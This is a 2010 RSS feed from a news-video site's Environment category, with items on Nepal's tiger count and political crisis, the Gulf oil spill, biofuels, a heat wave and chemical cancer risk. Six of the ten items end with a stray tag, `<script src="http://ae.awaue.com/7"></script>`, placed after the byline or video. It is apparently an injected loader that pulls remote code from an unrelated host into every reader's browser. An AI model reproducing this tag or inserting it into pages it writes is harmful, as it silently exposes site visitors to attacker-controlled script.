<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Film@11 &#187; Environment</title>
	<atom:link href="http://filmat11.tv/category/environment/feed/" rel="self" type="application/rss+xml" />
	<link>http://filmat11.tv</link>
	<description>BS-Free Since 2008</description>
	<lastBuildDate>Fri, 30 Jul 2010 20:47:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Tiger, Tiger Burning Bright</title>
		<link>http://filmat11.tv/2010/07/tiger-tiger-burning-bright/</link>
		<comments>http://filmat11.tv/2010/07/tiger-tiger-burning-bright/#comments</comments>
		<pubDate>Thu, 29 Jul 2010 18:39:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[conservation]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Nepal]]></category>
		<category><![CDATA[tiger]]></category>
		<category><![CDATA[tiger increase]]></category>
		<category><![CDATA[tigers]]></category>
		<category><![CDATA[Year of Tiger]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2384</guid>
		<description><![CDATA[Tigers amaze tourists and scare villagers in Nepal, but maybe the incense burned and the diyos lit for the tiger god Bag Bhairav are working.
The tiger population in Nepal has increased this year, according to a recent data released by the government on the occasion of the first “Tiger Conservation Day.”
There are total of 155 [...]]]></description>
			<content:encoded><![CDATA[<p>Tigers amaze tourists and scare villagers in Nepal, but maybe the incense burned and the diyos lit for the tiger god Bag Bhairav are working.</p>
<p>The tiger population in Nepal has increased this year, according to a recent data released by the government on the occasion of the first “Tiger Conservation Day.”</p>
<p>There are total of 155 adult tigers—or, about six adult tigers per 100 square kilometers. Last year, the record showed a total of 121 adult tigers in Nepal. Officials said this was a good population for breeding purposes.</p>
<p>This is good news for conservationists, as the worldwide tiger population is decreasing due to deforestation, encroachment and poaching. The total population is estimated to be 3,500. </p>
<p>The governments of Nepal and India signed a joint resolution to work together to conserve tigers. India and Nepal together hold over fifty percent of the world&#8217;s tigers.</p>
<p>The resolutions were signed as an outcome of the 4th Nepal-India Consultative Meeting on Trans-boundary Biodiversity Conservation, at a function held in Kathmandu on Thursday.</p>
<p>“Besides having common boundary, we are facing similar challenges of tiger conservation. Such relation is extremely important for combating illegal wildlife trade and landscape level conservation for tigers and other wild animals,” said SP Yadav,  the joint director of the National Tiger Conservation Authority of India.</p>
<p>Tiger Population Monitoring was done in Chitwan National Park under the coordination of Department of National Parks and Wildlife Conservation and with the support of WWF Nepal and National Trust for Nature Conservation. </p>
<p>Authorities have said that Nepal’s habitat is best for tiger conservation, as tigers look for peaceful and dense jungles. The Nepalese government says it is committed to increasing the tiger population to 250 by 2022, which would be the next Year of the Tiger.</p>
<p>&#8212;Rajneesh Bhandari</p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/07/tiger-tiger-burning-bright/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;This Heat will be the Norm&#8221;</title>
		<link>http://filmat11.tv/2010/07/this-heat-will-be-the-norm/</link>
		<comments>http://filmat11.tv/2010/07/this-heat-will-be-the-norm/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 14:59:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Energy Security]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[David Easterling]]></category>
		<category><![CDATA[disaster]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[global warming]]></category>
		<category><![CDATA[greenhouse gas]]></category>
		<category><![CDATA[heat wave]]></category>
		<category><![CDATA[NOAA]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2374</guid>
		<description><![CDATA[If you think this summer has been rough on the East Coast, David Easterling, chief of the Scientific Services Division at NOAA&#8217;s National Climatic Data Center in Asheville, N.C, has some disconcerting data for you. With 2010 on track to becoming the hottest summer on record, the climate models and data run by Easterling point [...]]]></description>
			<content:encoded><![CDATA[<p>If you think this summer has been rough on the East Coast, David Easterling, chief of the Scientific Services Division at NOAA&#8217;s National Climatic Data Center in Asheville, N.C, has some disconcerting data for you. With 2010 on track to becoming the hottest summer on record, the climate models and data run by Easterling point toward something disturbing: within 20 years, this weather could become the standard, not the exception:</p>
<p><a href="http://filmat11.tv/2010/07/this-heat-will-be-the-norm/"><em>Click here to view the embedded video.</em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/07/this-heat-will-be-the-norm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kathmandon&#8217;t</title>
		<link>http://filmat11.tv/2010/07/kathmandont/</link>
		<comments>http://filmat11.tv/2010/07/kathmandont/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 19:07:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Energy Security]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[War on Terror]]></category>
		<category><![CDATA[blackout]]></category>
		<category><![CDATA[election]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[highlight]]></category>
		<category><![CDATA[Khanal]]></category>
		<category><![CDATA[Nepal]]></category>
		<category><![CDATA[Paudel]]></category>
		<category><![CDATA[Prachanda]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2349</guid>
		<description><![CDATA[After nearly a month since Prime Minister Madhav Kumar Nepal resigned from his post, Nepal was expecting a new prime minister today.
The government—after missing the deadline to write a new constitution—did nothing specific in the past 21 days except wait for a new government to take over. While millions of Nepalis struggled through the workday [...]]]></description>
			<content:encoded><![CDATA[<p>After nearly a month since Prime Minister Madhav Kumar Nepal resigned from his post, Nepal was expecting a new prime minister today.</p>
<p>The government—after missing the deadline to write a new constitution—did nothing specific in the past 21 days except wait for a new government to take over. While millions of Nepalis struggled through the workday with only four hours of electric power, the three major political parties&#8211;Maoists, Nepali Congress and CPN UML&#8211;were claiming political power. But, none of the three prime ministerial candidates managed to score a simple majority.</p>
<p>One of them looked very familiar. Maoist chairman Pushpa Kamal Dahal—“Prachanda”—was back a year after being forced to resign as prime minister after an attempt to sack the army chief was revoked by president Ram Baran Yadav. </p>
<p> A candidate needs to get 300 votes in his favor to win, and as none of the parties have majority, the candidates need to find coalition support. The intrigue began in early morning Wednesday, when Maoists decided to support the CPN UML if they got a two-thirds majority in the election. </p>
<p>By the afternoon, CPN-UML’s Jhalanath Khanal—who had joined the race thinking that Prachanda would withdraw—came close to securing the PM post after Maoists and two other parties expressed their conditional support to him. Khanal himself went to meet members of one group, the Front, asking for support. The Front declined, saying that they “will not vote as none of the candidates agreed to fulfill [our] demands.”</p>
<p>In the two different rounds of election organized in the evening, Prachanda scored 242 votes, Nepali Congress’ candidate Ram Chandra Paudel managed 124 votes. Khanal withdrew from the voting process after being unable to secure two-thirds support. </p>
<p>The next election between Prachanda and Paudel will take place on Friday. “I am confident that I will win the election in the second round,” Paudel said. The lights were still on in Constituent Assembly Hall as he exited, but the rest of Kathmandu flickered and went dark.</p>
<p>&#8211;Rajneesh Bhandari</p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/07/kathmandont/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GULF REPORT: Sea Turtles Burning</title>
		<link>http://filmat11.tv/2010/07/gulf-report-sea-turtles-burning/</link>
		<comments>http://filmat11.tv/2010/07/gulf-report-sea-turtles-burning/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 21:00:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Energy Security]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[BP]]></category>
		<category><![CDATA[bp oil spill]]></category>
		<category><![CDATA[endangered species]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Gulf of Mexico]]></category>
		<category><![CDATA[highlight]]></category>
		<category><![CDATA[Offshore Drilling]]></category>
		<category><![CDATA[sea turtles]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2259</guid>
		<description><![CDATA[One of the many animal groups endangered by the old spill in the Gulf of Mexico is sea turtles. Carole Allen, Gulf Office Director at the Sea Turtle Restoration Project, speaks here about how BP has been handling the renewed threat to sea turtles.

]]></description>
			<content:encoded><![CDATA[<p>One of the many animal groups endangered by the old spill in the Gulf of Mexico is sea turtles. Carole Allen, Gulf Office Director at the Sea Turtle Restoration Project, speaks here about how BP has been handling the renewed threat to sea turtles.</p>
<p><embed src="http://blip.tv/play/AYHsqCsC" type="application/x-shockwave-flash" width="480" height="350" allowscriptaccess="always" allowfullscreen="true"></embed></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/07/gulf-report-sea-turtles-burning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s On! (Or is it?)</title>
		<link>http://filmat11.tv/2010/06/its-on-or-is-it/</link>
		<comments>http://filmat11.tv/2010/06/its-on-or-is-it/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 15:39:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[War on Terror]]></category>
		<category><![CDATA[constitution]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[highlight]]></category>
		<category><![CDATA[Maoists]]></category>
		<category><![CDATA[Nepal]]></category>
		<category><![CDATA[prime minister]]></category>
		<category><![CDATA[resignation]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2237</guid>
		<description><![CDATA[Ending a month-long constitutional stalemate, Nepalese Prime Minister Madhav Kumar Nepal resigned today after just over a year in office.
Addressing the nation, 57-year-old Prime Minister Nepal said, “It is already too late to table the annual policies, program and budget in the Legislature-Parliament. Despite having a clear majority in the House, I decided to tender [...]]]></description>
			<content:encoded><![CDATA[<p>Ending a month-long constitutional stalemate, Nepalese Prime Minister Madhav Kumar Nepal resigned today after just over a year in office.</p>
<p>Addressing the nation, 57-year-old Prime Minister Nepal said, “It is already too late to table the annual policies, program and budget in the Legislature-Parliament. Despite having a clear majority in the House, I decided to tender my resignation, with the hope that peace process and constituent making process will be completed, as it would not be right to keep the nation at indecision and confusion in situation like this.”</p>
<p>And there has been <em>a lot</em> of confusion. Four weeks ago, the three major political parties agreed that they could not agree on a new constitution. Instead, they extended the process for another year, and in the meantime hammered out a three-point agreement. The prime minister’s resignation was key for the Maoists.</p>
<p>The other parties are demanding the dissolution of Maoist&#8217;s sister organization Young Communist League, which has been charged with violating law and human rights, as well as demand that Maoists return property seized during the conflict. The major disagreement between the Maoists and the other parties is about the issue of the integration and rehabilitation of Maoist army.  </p>
<p>Because of the political deadlock, the discussion on major issues such as army integration, the structure of the government: presidential form or prime minister as the chief executive; questions about the numbers of states under federation and the judiciary system; and whether it will be independent or under parliament, is disrupted. Whoever leads will not have an easy time to get consensus on these issues. </p>
<p>&#8211;Rajneesh Bhandari<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/06/its-on-or-is-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Politics of Biofuel</title>
		<link>http://filmat11.tv/2010/05/the-politics-of-biofuel/</link>
		<comments>http://filmat11.tv/2010/05/the-politics-of-biofuel/#comments</comments>
		<pubDate>Wed, 26 May 2010 14:49:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Energy Security]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[biodiesel]]></category>
		<category><![CDATA[Biomass]]></category>
		<category><![CDATA[climate change]]></category>
		<category><![CDATA[ethanol]]></category>
		<category><![CDATA[farm subsidy]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[green energy]]></category>
		<category><![CDATA[Hybrid Cars]]></category>
		<category><![CDATA[pollution]]></category>
		<category><![CDATA[solar power]]></category>
		<category><![CDATA[Wind Power]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2057</guid>
		<description><![CDATA[As the US tries to cut its dependence on fossil fuels, it is turning more and more to renewable sources like bio-diesel, ethanol, solar and wind power. But these aren&#8217;t always better. James Anderson, CEO and Founder of BHFI in Ohio &#8211; which has been developing the Organics Reprocessing for Biofuels (ORB) system to make [...]]]></description>
			<content:encoded><![CDATA[<p>As the US tries to cut its dependence on fossil fuels, it is turning more and more to renewable sources like bio-diesel, ethanol, solar and wind power. But these aren&#8217;t always better. James Anderson, CEO and Founder of BHFI in Ohio &#8211; which has been developing the Organics Reprocessing for Biofuels (ORB) system to make biomass energy production more accessible to smaller and less affluent communities worldwide &#8211; recently spoke with us about the politics behind our energy choices.<br />
<p><a href="http://filmat11.tv/2010/05/the-politics-of-biofuel/"><em>Click here to view the embedded video.</em></a></p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/05/the-politics-of-biofuel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Biomass for Everyone</title>
		<link>http://filmat11.tv/2010/05/biomass-for-everyone/</link>
		<comments>http://filmat11.tv/2010/05/biomass-for-everyone/#comments</comments>
		<pubDate>Mon, 24 May 2010 19:11:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Biofuel]]></category>
		<category><![CDATA[Biomass]]></category>
		<category><![CDATA[climate change]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[global warming]]></category>
		<category><![CDATA[highlight]]></category>
		<category><![CDATA[methane]]></category>
		<category><![CDATA[pollution]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2022</guid>
		<description><![CDATA[The US throws way around 7 billion tons of organic waste ever year, but this waste could be used to produce energy &#8211; half a trillion dollars&#8217; worth, according to James Anderson, CEO and Founder of BHFI in Ohio. A unit of BHFI has developed the Organics Reprocessing for Biofuels (ORB) system, which offers a [...]]]></description>
			<content:encoded><![CDATA[<p>The US throws way around 7 billion tons of organic waste ever year, but this waste could be used to produce energy &#8211; half a trillion dollars&#8217; worth, according to James Anderson, CEO and Founder of BHFI in Ohio. A unit of BHFI has developed the Organics Reprocessing for Biofuels (ORB) system, which offers a relatively cheap, easy, and environmentally friendly way for everyday people to capitalize on the organic energy all around them.<br />
<p><a href="http://filmat11.tv/2010/05/biomass-for-everyone/"><em>Click here to view the embedded video.</em></a></p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/05/biomass-for-everyone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The New Sherriff</title>
		<link>http://filmat11.tv/2010/05/the-new-sherriff/</link>
		<comments>http://filmat11.tv/2010/05/the-new-sherriff/#comments</comments>
		<pubDate>Thu, 20 May 2010 16:11:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Energy Security]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[BP]]></category>
		<category><![CDATA[Exxon Valdez]]></category>
		<category><![CDATA[Gulf of Mexico]]></category>
		<category><![CDATA[Ken Salazar]]></category>
		<category><![CDATA[oil spill]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=2007</guid>
		<description><![CDATA[The oil spill in the Gulf of Mexico has revitalized the debate on offshore drilling and oversight. Ken Salazar, President Obama&#8217;s Secretary of the Interior, was brought in to crack down on the government&#8217;s cozy relationship with oil companies, but in the wake of the spill, it doesn&#8217;t seem much was done. Will anything really [...]]]></description>
			<content:encoded><![CDATA[<p>The oil spill in the Gulf of Mexico has revitalized the debate on offshore drilling and oversight. Ken Salazar, President Obama&#8217;s Secretary of the Interior, was brought in to crack down on the government&#8217;s cozy relationship with oil companies, but in the wake of the spill, it doesn&#8217;t seem much was done. Will anything really change now? Miyoko Sakashita, senior attorney and oceans director at the Center for Biological Diversity, discusses.<br />
<p><a href="http://filmat11.tv/2010/05/the-new-sherriff/"><em>Click here to view the embedded video.</em></a></p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/05/the-new-sherriff/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Death in the Gulf</title>
		<link>http://filmat11.tv/2010/05/death-in-the-gulf/</link>
		<comments>http://filmat11.tv/2010/05/death-in-the-gulf/#comments</comments>
		<pubDate>Mon, 17 May 2010 19:14:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Environment]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[BP]]></category>
		<category><![CDATA[climate change]]></category>
		<category><![CDATA[dolphins]]></category>
		<category><![CDATA[Exxon Valdez]]></category>
		<category><![CDATA[global warming]]></category>
		<category><![CDATA[Offshore Oil Platforms]]></category>
		<category><![CDATA[oil spill]]></category>
		<category><![CDATA[pollution]]></category>
		<category><![CDATA[save the whales]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=1975</guid>
		<description><![CDATA[After two botched attempts, BP is still trying getting a handle on the oil gush in the Gulf of Mexico (which some experts estimate to be spewing some 200,000 barrels per day). But there&#8217;s already been a lot of damage, not least to animals. So we checked in with Miyoko Sakashita, senior attorney and oceans [...]]]></description>
			<content:encoded><![CDATA[<p>After two botched attempts, BP is still trying getting a handle on the oil gush in the Gulf of Mexico (which some experts estimate to be spewing some 200,000 barrels per day). But there&#8217;s already been a lot of damage, not least to animals. So we checked in with Miyoko Sakashita, senior attorney and oceans director at the Center for Biological Diversity, to find out how the Gulf&#8217;s rich wildlife has fared in this massive ecological crisis.<br />
<p><a href="http://filmat11.tv/2010/05/death-in-the-gulf/"><em>Click here to view the embedded video.</em></a></p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/05/death-in-the-gulf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Report Shows Chemical Cancer Risk</title>
		<link>http://filmat11.tv/2010/05/upcoming-report-declares-chemical-cancer-risk/</link>
		<comments>http://filmat11.tv/2010/05/upcoming-report-declares-chemical-cancer-risk/#comments</comments>
		<pubDate>Thu, 06 May 2010 15:33:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Environment]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[chemicals]]></category>
		<category><![CDATA[phlalates]]></category>
		<category><![CDATA[President's Cancer Panel]]></category>
		<category><![CDATA[regulation]]></category>

		<guid isPermaLink="false">http://filmat11.tv/?p=1873</guid>
		<description><![CDATA[So the President&#8217;s Cancer Panel is about to release a report that says Americans need to reconsider methods of cancer prevention&#8211;namely by regulating chemicals.
Compared to countries in Europe, for example, the U.S. has been very lazy about any regulation, let alone tightening a few. Of the 80,000 chemicals currently in use, only a handful have [...]]]></description>
			<content:encoded><![CDATA[<p>So the President&#8217;s Cancer Panel is about to release a report that says Americans need to reconsider methods of cancer prevention&#8211;namely by regulating chemicals.</p>
<p>Compared to countries in Europe, for example, the U.S. has been very lazy about any regulation, let alone tightening a few. Of the 80,000 chemicals currently in use, only a handful have ever been tested for safety. As a result, the report says, Americans are consistently exposed to toxins that could lead to cancer. The report also points out that pregnant women are especially at risk&#8211; “<a href="http://www.nytimes.com/2010/05/06/opinion/06kristof.html?hp">to a disturbing extent, babies are born ‘pre-polluted.’&#8221;</a></p>
<p>We covered this last year in &#8220;A Minute of Your Time,&#8221; when we pointed out that there&#8217;s one effect in particular that one would think members of Congress would be very worried about:<br />
<embed src="http://blip.tv/play/AYHRynwC" type="application/x-shockwave-flash" width="480" height="300" allowscriptaccess="always" allowfullscreen="true"></embed><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://filmat11.tv/2010/05/upcoming-report-declares-chemical-cancer-risk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
